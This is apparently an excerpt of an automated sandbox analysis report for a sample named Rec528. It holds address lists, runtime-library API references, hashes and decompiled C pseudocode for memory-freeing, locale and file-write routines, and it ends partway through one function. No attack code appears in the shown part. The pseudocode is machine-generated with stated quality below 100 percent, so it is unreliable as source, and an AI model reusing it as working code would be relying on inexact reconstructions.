0x00419312
0x00419314
0x00419315
0x00419320
0x00419325
0x00419329
0x00419337
0x00419342
0x0041934a
0x00419358
0x00419363
0x00419368
0x00419329
0x0041936b
0x0041936e
0x00419374
0x0041937d
0x00419382
0x0041938b
0x00419394
0x0041939d
0x004193c6
0x004193c9
0x004193cf
0x00000000
0x004193cf
0x0041921d
0x00419276
0x00419279
0x0041927c
0x00000000
0x00000000
0x0041927e
0x00419281
0x00419281
0x00419284
0x00419286
0x00000000
0x00000000
0x00419288
0x0041928e
0x00419291
0x00419293
0x004192d6
0x004192d6
0x004192d9
0x004192dc
0x00000000
0x00000000
0x00000000
0x004192dc
0x0041929b
0x004192a4
0x004192a6
0x004192a6
0x004192a8
0x004192ab
0x004192ae
0x004192b1
0x004192b3
0x004192b8
0x004192bb
0x004192be
0x004192c1
0x004192c3
0x004192c8
0x004192c9
0x004192c9
0x004192cd
0x004192d0
0x004192d3
0x00000000
0x004192d3
0x004192de
0x004192de
0x00000000
0x004192de
0x00419226
0x00419229
0x00419236
0x00419238
0x0041923d
0x00419240
0x00419243
0x0041924b
0x0041924d
0x0041925b
0x0041925e
0x00419261
0x00419264
0x00419266
0x00419269
0x0041926d
0x00000000
0x00419274
0x004190f1
0x004190f8
0x00419112
0x00419115
0x00419118
0x00000000
0x00000000
0x0041911a
0x0041911d
0x0041911d
0x00419120
0x00419122
0x00000000
0x00000000
0x00419124
0x0041912a
0x0041912c
0x0041913b
0x0041913b
0x0041913e
0x00419140
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041912e
0x0041912e
0x0041912e
0x00419132
0x00419137
0x00419137
0x00000000
0x0041912e
0x00419142
0x00000000
0x00419142
0x00419108
0x0041910d
0x00000000
0x0041910d
0x004190a1
0x0041908d
0x00419006
0x00419007
0x0041900c
0x00419010
0x00419011
0x00419012
0x00419017
0x0041901c
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 0041902F
_free.LIBCMT ref: 00419045
_free.LIBCMT ref: 00419058
_free.LIBCMT ref: 0041906D
_free.LIBCMT ref: 00419082
GetCPInfo.KERNEL32(?,?), ref: 004190CC

Part of subcall function 00421645: _free.LIBCMT ref: 004216B0

_free.LIBCMT ref: 00419337
_free.LIBCMT ref: 0041934A
_free.LIBCMT ref: 00419358
_free.LIBCMT ref: 00419363
_free.LIBCMT ref: 004193A5
_free.LIBCMT ref: 004193AD
_free.LIBCMT ref: 004193B3
_free.LIBCMT ref: 004193BB
_free.LIBCMT ref: 004193C9

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: d2dd1bb44b782136ad00cd7efd638faa5f26cf3f2973dfd6a1df01cdf40f2984
Instruction ID: a89f40da994da54df2195b3b99ffb1718498b2c92a670a46730b441c06d2bf38
Opcode Fuzzy Hash: d2dd1bb44b782136ad00cd7efd638faa5f26cf3f2973dfd6a1df01cdf40f2984
Instruction Fuzzy Hash: CFD1A071900209AFDB11CF66C891BEEB7F5BF08304F14456EE895AB382D779AC85CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0044334A Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00443383
___free_lconv_mon.LIBCMT ref: 0044338E

Part of subcall function 00442EB5: _free.LIBCMT ref: 00442ED2
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442EE4
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442EF6
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F08
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F1A
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F2C
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F3E
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F50
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F62
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F74
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F86
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F98
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442FAA

_free.LIBCMT ref: 004433A5
_free.LIBCMT ref: 004433BA
_free.LIBCMT ref: 004433C5
_free.LIBCMT ref: 004433E7
_free.LIBCMT ref: 004433FA
_free.LIBCMT ref: 00443408
_free.LIBCMT ref: 00443413
_free.LIBCMT ref: 0044344B
_free.LIBCMT ref: 00443452
_free.LIBCMT ref: 0044346F
_free.LIBCMT ref: 00443487

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: e100d89efc77f6660f900502eb6a5fb719d01ec0de4ba7df5e478026bf40f879
Instruction ID: ce84940d4ec221c3e00cea4fbe0e61062730256890f47c7b2aa3b88f8ab69c0d
Opcode Fuzzy Hash: e100d89efc77f6660f900502eb6a5fb719d01ec0de4ba7df5e478026bf40f879
Instruction Fuzzy Hash: 28314E31600601AEFB219E3AD845B9B77E4AF01B15F14881FE455D72A1DF78EE818B1C

Uniqueness

Uniqueness Score: -1.00%

Function 00426306 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00426306(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x43d160) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0041E238(_t46);
							E004255B2( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0041E238(_t47);
							E00425A66( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0041E238( *((intOrPtr*)(_t74 + 0x7c)));
						E0041E238( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0041E238( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0041E238( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0041E238( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0041E238( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00426477( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x43d290) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0041E238(_t31);
							E0041E238( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0041E238(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0041E238(_t74);
			}

0x0042630e
0x00426312
0x0042631a
0x00426323
0x00426328
0x0042632f
0x00426337
0x0042633f
0x0042634a
0x00426350
0x00426351
0x00426359
0x00426361
0x0042636c
0x00426372
0x00426376
0x00426381
0x00426387
0x00426328
0x00426388
0x00426390
0x004263a3
0x004263b6
0x004263c4
0x004263cf
0x004263d4
0x004263dd
0x004263e5
0x004263e6
0x004263ec
0x004263ef
0x004263f2
0x004263f9
0x004263fb
0x004263ff
0x00426407
0x0042640e
0x00426414
0x00426415
0x00426415
0x0042641c
0x0042641e
0x00426423
0x0042642b
0x00426430
0x00426431
0x00426431
0x00426434
0x00426437
0x0042643a
0x0042643d
0x0042643d
0x0042644d

APIs

___free_lconv_mon.LIBCMT ref: 0042634A

Part of subcall function 004255B2: _free.LIBCMT ref: 004255CF
Part of subcall function 004255B2: _free.LIBCMT ref: 004255E1
Part of subcall function 004255B2: _free.LIBCMT ref: 004255F3
Part of subcall function 004255B2: _free.LIBCMT ref: 00425605
Part of subcall function 004255B2: _free.LIBCMT ref: 00425617
Part of subcall function 004255B2: _free.LIBCMT ref: 00425629
Part of subcall function 004255B2: _free.LIBCMT ref: 0042563B
Part of subcall function 004255B2: _free.LIBCMT ref: 0042564D
Part of subcall function 004255B2: _free.LIBCMT ref: 0042565F
Part of subcall function 004255B2: _free.LIBCMT ref: 00425671
Part of subcall function 004255B2: _free.LIBCMT ref: 00425683
Part of subcall function 004255B2: _free.LIBCMT ref: 00425695
Part of subcall function 004255B2: _free.LIBCMT ref: 004256A7

_free.LIBCMT ref: 0042633F

Part of subcall function 0041E238: HeapFree.KERNEL32(00000000,00000000,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?), ref: 0041E24E
Part of subcall function 0041E238: GetLastError.KERNEL32(?,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?,?), ref: 0041E260

_free.LIBCMT ref: 00426361
_free.LIBCMT ref: 00426376
_free.LIBCMT ref: 00426381
_free.LIBCMT ref: 004263A3
_free.LIBCMT ref: 004263B6
_free.LIBCMT ref: 004263C4
_free.LIBCMT ref: 004263CF
_free.LIBCMT ref: 00426407
_free.LIBCMT ref: 0042640E
_free.LIBCMT ref: 0042642B
_free.LIBCMT ref: 00426443

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 88f30a99e55331c7f508eb551a6b5f58649f1248a518a039e11fef256e7b3f57
Instruction ID: 9c3176418105df558e436c594c79d60ce8d7a963b3dddbc437b4d7116a77e68e
Opcode Fuzzy Hash: 88f30a99e55331c7f508eb551a6b5f58649f1248a518a039e11fef256e7b3f57
Instruction Fuzzy Hash: 4831A3316003149FEB24AA3AE945B9BB3E8AF04314F91455FE844DB291DF78EC80CB18

Uniqueness

Uniqueness Score: -1.00%

Function 10009F91 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10009F91(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x100176f8) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E100079CC(_t46);
							E1000C3B0( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E100079CC(_t47);
							E1000C4AE( *((intOrPtr*)(_t74 + 0x88)));
						}
						E100079CC( *((intOrPtr*)(_t74 + 0x7c)));
						E100079CC( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E100079CC( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E100079CC( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E100079CC( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E100079CC( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E1000A102( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x10017638) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E100079CC(_t31);
							E100079CC( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E100079CC(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E100079CC(_t74);
			}

0x10009f99
0x10009f9d
0x10009fa5
0x10009fae
0x10009fb3
0x10009fba
0x10009fc2
0x10009fca
0x10009fd5
0x10009fdb
0x10009fdc
0x10009fe4
0x10009fec
0x10009ff7
0x10009ffd
0x1000a001
0x1000a00c
0x1000a012
0x10009fb3
0x1000a013
0x1000a01b
0x1000a02e
0x1000a041
0x1000a04f
0x1000a05a
0x1000a05f
0x1000a068
0x1000a070
0x1000a071
0x1000a077
0x1000a07a
0x1000a07d
0x1000a084
0x1000a086
0x1000a08a
0x1000a092
0x1000a099
0x1000a09f
0x1000a0a0
0x1000a0a0
0x1000a0a7
0x1000a0a9
0x1000a0ae
0x1000a0b6
0x1000a0bb
0x1000a0bc
0x1000a0bc
0x1000a0bf
0x1000a0c2
0x1000a0c5
0x1000a0c8
0x1000a0c8
0x1000a0d8

APIs

___free_lconv_mon.LIBCMT ref: 10009FD5

Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C3CD
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C3DF
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C3F1
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C403
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C415
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C427
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C439
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C44B
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C45D
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C46F
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C481
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C493
Part of subcall function 1000C3B0: _free.LIBCMT ref: 1000C4A5

_free.LIBCMT ref: 10009FCA

Part of subcall function 100079CC: RtlFreeHeap.NTDLL(00000000,00000000,?,10006680), ref: 100079E2
Part of subcall function 100079CC: GetLastError.KERNEL32(?,?,10006680), ref: 100079F4

_free.LIBCMT ref: 10009FEC
_free.LIBCMT ref: 1000A001
_free.LIBCMT ref: 1000A00C
_free.LIBCMT ref: 1000A02E
_free.LIBCMT ref: 1000A041
_free.LIBCMT ref: 1000A04F
_free.LIBCMT ref: 1000A05A
_free.LIBCMT ref: 1000A092
_free.LIBCMT ref: 1000A099
_free.LIBCMT ref: 1000A0B6
_free.LIBCMT ref: 1000A0CE

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 43cd7d27fc9a4f62fe1fc3474c76bdfebb94d341186b69348abc09a33720c4e1
Instruction ID: 7b1586147d1a4102f5486d1f7b0fcce68b57fdbea82db74926a39b557839dc0f
Opcode Fuzzy Hash: 43cd7d27fc9a4f62fe1fc3474c76bdfebb94d341186b69348abc09a33720c4e1
Instruction Fuzzy Hash: 24314731A0420A9EFB61DA38D841B9A7BE9FF023D0F514529E049DB16ADB75FC80CB21

Uniqueness

Uniqueness Score: -1.00%

Function 004256B0 Relevance: 18.4, APIs: 12, Instructions: 373
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E004256B0(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				signed int _t106;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t126;
				signed int _t130;
				signed int _t134;
				signed int _t138;
				signed int _t142;
				signed int _t146;
				signed int _t150;
				signed int _t154;
				signed int _t158;
				signed int _t162;
				signed int _t166;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				signed int _t182;
				signed int _t186;
				signed int _t190;
				char _t196;
				char _t209;
				signed int _t212;
				char _t221;
				char _t222;
				void* _t225;
				char* _t227;
				signed int _t228;
				signed int _t232;
				signed int _t233;
				intOrPtr _t234;
				void* _t235;
				void* _t237;
				char* _t258;

				_t225 = __edx;
				_t209 = _a4;
				_v16 = 0;
				_v28 = _t209;
				_v24 = 0;
				if( *((intOrPtr*)(_t209 + 0xac)) != 0 ||  *((intOrPtr*)(_t209 + 0xb0)) != 0) {
					_t235 = E0041E1DB("true", 0x50);
					_v8 = _t235;
					E0041E238(0);
					if(_t235 != 0) {
						_t228 = E0041E1DB("true", 4);
						_v12 = _t228;
						E0041E238(0);
						if(_t228 != 0) {
							if( *((intOrPtr*)(_t209 + 0xac)) == 0) {
								_t212 = 0x14;
								memcpy(_v8, 0x43d160, _t212 << 2);
								L24:
								_t237 = _v8;
								_t232 = _v16;
								 *_t237 =  *( *(_t209 + 0x88));
								 *((intOrPtr*)(_t237 + 4)) =  *((intOrPtr*)( *(_t209 + 0x88) + 4));
								 *((intOrPtr*)(_t237 + 8)) =  *((intOrPtr*)( *(_t209 + 0x88) + 8));
								 *((intOrPtr*)(_t237 + 0x30)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x30));
								 *((intOrPtr*)(_t237 + 0x34)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t232 != 0) {
									 *_t232 = 1;
								}
								goto L26;
							}
							_t233 = E0041E1DB("true", 4);
							_v16 = _t233;
							E0041E238(0);
							if(_t233 != 0) {
								_t234 =  *((intOrPtr*)(_t209 + 0xac));
								_t14 = _t235 + 0xc; // 0xc
								_t116 = E00421645(_t225);
								_t118 = E00421645(_t225,  &_v28, "true", _t234, 0x14, _v8 + 0x10,  &_v28);
								_t122 = E00421645(_t225,  &_v28, "true", _t234, 0x16, _v8 + 0x14, "true");
								_t126 = E00421645(_t225,  &_v28, "true", _t234, 0x17, _v8 + 0x18, _t234);
								_v20 = _v8 + 0x1c;
								_t130 = E00421645(_t225,  &_v28, "true", _t234, 0x18, _v8 + 0x1c, 0x15);
								_t134 = E00421645(_t225,  &_v28, "true", _t234, 0x50, _v8 + 0x20, _t14);
								_t138 = E00421645(_t225);
								_t142 = E00421645(_t225,  &_v28, 0, _t234, 0x1a, _v8 + 0x28,  &_v28);
								_t146 = E00421645(_t225,  &_v28, 0, _t234, 0x19, _v8 + 0x29, "true");
								_t150 = E00421645(_t225,  &_v28, 0, _t234, 0x54, _v8 + 0x2a, _t234);
								_t154 = E00421645(_t225,  &_v28, 0, _t234, 0x55, _v8 + 0x2b, 0x51);
								_t158 = E00421645(_t225,  &_v28, 0, _t234, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t162 = E00421645(_t225);
								_t166 = E00421645(_t225,  &_v28, 0, _t234, 0x52, _v8 + 0x2e,  &_v28);
								_t170 = E00421645(_t225,  &_v28, 0, _t234, 0x53, _v8 + 0x2f, 0);
								_t174 = E00421645(_t225,  &_v28, 2, _t234, 0x15, _v8 + 0x38, _t234);
								_t178 = E00421645(_t225,  &_v28, 2, _t234, 0x14, _v8 + 0x3c, 0x57);
								_t182 = E00421645(_t225,  &_v28, 2, _t234, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t234);
								_t186 = E00421645(_t225);
								_t190 = E00421645(_t225,  &_v28, 2, _t234, 0x50, _v8 + 0x48,  &_v28);
								if((E00421645(_t225,  &_v28, 2, _t234, 0x51, _v8 + 0x4c, 2) | _t116 | _t118 | _t122 | _t126 | _t130 | _t134 | _t138 | _t142 | _t146 | _t150 | _t154 | _t158 | _t162 | _t166 | _t170 | _t174 | _t178 | _t182 | _t186 | _t190) == 0) {
									_t227 =  *_v20;
									while(1) {
										_t196 =  *_t227;
										if(_t196 == 0) {
											break;
										}
										_t61 = _t196 - 0x30; // -48
										_t221 = _t61;
										if(_t221 > 9) {
											if(_t196 != 0x3b) {
												L16:
												_t227 = _t227 + 1;
												continue;
											}
											_t258 = _t227;
											do {
												_t222 =  *((intOrPtr*)(_t258 + 1));
												 *_t258 = _t222;
												_t258 = _t258 + 1;
											} while (_t222 != 0);
											continue;
										}
										 *_t227 = _t221;
										goto L16;
									}
									goto L24;
								}
								E004255B2(_v8);
								E0041E238(_v8);
								E0041E238(_v12);
								E0041E238(_v16);
								goto L4;
							}
							E0041E238(_t235);
							E0041E238(_v12);
							L7:
							goto L4;
						}
						E0041E238(_t235);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t232 = 0;
					_v12 = 0;
					_t237 = 0x43d160;
					L26:
					_t106 =  *(_t209 + 0x84);
					if(_t106 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t209 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t106 | 0xffffffff) == 0) {
							E0041E238( *(_t209 + 0x88));
							E0041E238( *((intOrPtr*)(_t209 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t209 + 0x7c)) = _v12;
					 *(_t209 + 0x84) = _t232;
					 *(_t209 + 0x88) = _t237;
					return 0;
				}
			}

0x004256b0
0x004256b9
0x004256c0
0x004256c3
0x004256c6
0x004256cf
0x004256f1
0x004256f5
0x004256f8
0x00425702
0x00425715
0x00425719
0x0042571c
0x00425726
0x00425738
0x004259ca
0x004259cb
0x004259cd
0x004259d5
0x004259d9
0x004259de
0x004259e9
0x004259f5
0x00425a01
0x00425a0d
0x00425a13
0x00425a17
0x00425a19
0x00425a19
0x00000000
0x00425a17
0x00425747
0x0042574b
0x0042574e
0x00425758
0x0042576c
0x00425772
0x0042577f
0x00425796
0x004257ad
0x004257c4
0x004257d4
0x004257e1
0x004257f8
0x0042580f
0x00425826
0x00425840
0x00425857
0x0042586e
0x00425885
0x0042589f
0x004258b6
0x004258cd
0x004258e4
0x004258fe
0x00425915
0x00425922
0x00425923
0x00425925
0x0042592c
0x00425943
0x00425967
0x00425995
0x004259a4
0x004259a4
0x004259a8
0x00000000
0x00000000
0x00425999
0x00425999
0x0042599f
0x004259ae
0x004259a3
0x004259a3
0x00000000
0x004259a3
0x004259b0
0x004259b2
0x004259b2
0x004259b5
0x004259b7
0x004259ba
0x00000000
0x004259be
0x004259a1
0x00000000
0x004259a1
0x00000000
0x004259aa
0x0042596d
0x00425973
0x0042597c
0x00425985
0x00000000
0x0042598a
0x0042575b
0x00425764
0x0042572e
0x00000000
0x0042572e
0x00425729
0x00000000
0x00425729
0x00425704
0x00000000
0x004256d9
0x004256d9
0x004256db
0x004256de
0x00425a1b
0x00425a1b
0x00425a23
0x00425a25
0x00425a25
0x00425a2d
0x00425a32
0x00425a36
0x00425a3e
0x00425a46
0x00425a4c
0x00425a36
0x00425a50
0x00425a55
0x00425a5b
0x00000000
0x00425a5b

APIs

_free.LIBCMT ref: 004256F8
_free.LIBCMT ref: 0042571C
_free.LIBCMT ref: 00425729
_free.LIBCMT ref: 0042574E
_free.LIBCMT ref: 0042575B
_free.LIBCMT ref: 00425764
_free.LIBCMT ref: 00425A3E
_free.LIBCMT ref: 00425A46

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d1ccfb6d5d4b89e14be0686283f280dc6ec478f279d77e8c09b8cbf74dc5944d
Instruction ID: 4ffc3a2919ed6c18ff6da86fd6d5dd667ad82d1c6fc98790d410f2b9c514589c
Opcode Fuzzy Hash: d1ccfb6d5d4b89e14be0686283f280dc6ec478f279d77e8c09b8cbf74dc5944d
Instruction Fuzzy Hash: C7C196B1E40214AFDB20DB99DC82FEF77F8AF08714F54416AFA05FB282D67499418B64

Uniqueness

Uniqueness Score: -1.00%

Function 0041D703 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E0041D703(signed int _a4, void* _a8, unsigned int _a12) {
				char _v5;
				signed int _v12;
				long _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				long _v32;
				char _v36;
				void* _v40;
				long _v44;
				signed int* _t137;
				signed int _t139;
				intOrPtr _t143;
				unsigned int _t154;
				intOrPtr _t158;
				signed int _t160;
				signed int _t163;
				long _t164;
				intOrPtr _t169;
				signed int _t170;
				intOrPtr _t172;
				signed int _t174;
				signed int _t178;
				void _t180;
				char _t185;
				char _t190;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t207;
				long _t210;
				unsigned int _t212;
				intOrPtr _t214;
				unsigned int _t217;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				signed int _t222;
				signed char _t224;
				char _t226;
				signed int _t228;
				void* _t229;
				signed int _t230;
				char* _t231;
				char* _t232;
				signed int _t235;
				signed int _t236;
				void* _t240;
				void* _t242;
				void* _t243;

				_t198 = _a4;
				_t246 = _t198 - 0xfffffffe;
				if(_t198 != 0xfffffffe) {
					__eflags = _t198;
					if(__eflags < 0) {
						L59:
						_t137 = E0041355E(__eflags);
						 *_t137 =  *_t137 & 0x00000000;
						__eflags =  *_t137;
						 *((intOrPtr*)(E00413571( *_t137))) = 9;
						L60:
						_t139 = E00413497();
						goto L61;
					}
					__eflags = _t198 -  *0x450ae0; // 0x40
					if(__eflags >= 0) {
						goto L59;
					}
					_t207 = _t198 >> 6;
					_t235 = (_t198 & 0x0000003f) * 0x38;
					_v12 = _t207;
					_t143 =  *((intOrPtr*)(0x4508e0 + _t207 * 4));
					_v20 = _t235;
					_v36 = 1;
					_t224 =  *((intOrPtr*)(_t143 + _t235 + 0x28));
					__eflags = 1 & _t224;
					if(__eflags == 0) {
						goto L59;
					}
					_t210 = _a12;
					__eflags = _t210 - 0x7fffffff;
					if(__eflags <= 0) {
						__eflags = _t210;
						if(_t210 == 0) {
							L58:
							return 0;
						}
						__eflags = _t224 & 0x00000002;
						if((_t224 & 0x00000002) != 0) {
							goto L58;
						}
						__eflags = _a8;
						if(__eflags == 0) {
							goto L6;
						}
						_v28 =  *((intOrPtr*)(_t143 + _t235 + 0x18));
						_t226 =  *((intOrPtr*)(_t143 + _t235 + 0x29));
						_v5 = _t226;
						_t240 = 0;
						_t228 = _t226 - 1;
						__eflags = _t228;
						if(_t228 == 0) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags == 0) {
								L14:
								 *(E0041355E(__eflags)) =  *_t149 & _t240;
								 *((intOrPtr*)(E00413571(__eflags))) = 0x16;
								E00413497();
								goto L39;
							} else {
								_t154 = 4;
								_t212 = _t210 >> 1;
								_v16 = _t154;
								__eflags = _t212 - _t154;
								if(_t212 >= _t154) {
									_t154 = _t212;
									_v16 = _t212;
								}
								_t240 = E0041ECAF(_t154);
								E0041E238(0);
								E0041E238(0);
								_t243 = _t242 + 0xc;
								_v24 = _t240;
								__eflags = _t240;
								if(__eflags != 0) {
									_t158 = E0041D0D8(_t198, 0, 0, "true");
									_t242 = _t243 + 0x10;
									_t214 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
									 *((intOrPtr*)(_t235 + _t214 + 0x20)) = _t158;
									 *(_t235 + _t214 + 0x24) = _t228;
									_t229 = _t240;
									_t210 = _v16;
									_t143 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
									L22:
									_t199 = _v20;
									_t235 = 0;
									_v40 = _t229;
									__eflags =  *(_t199 + _t143 + 0x28) & 0x00000048;
									_t200 = _a4;
									if(( *(_t199 + _t143 + 0x28) & 0x00000048) != 0) {
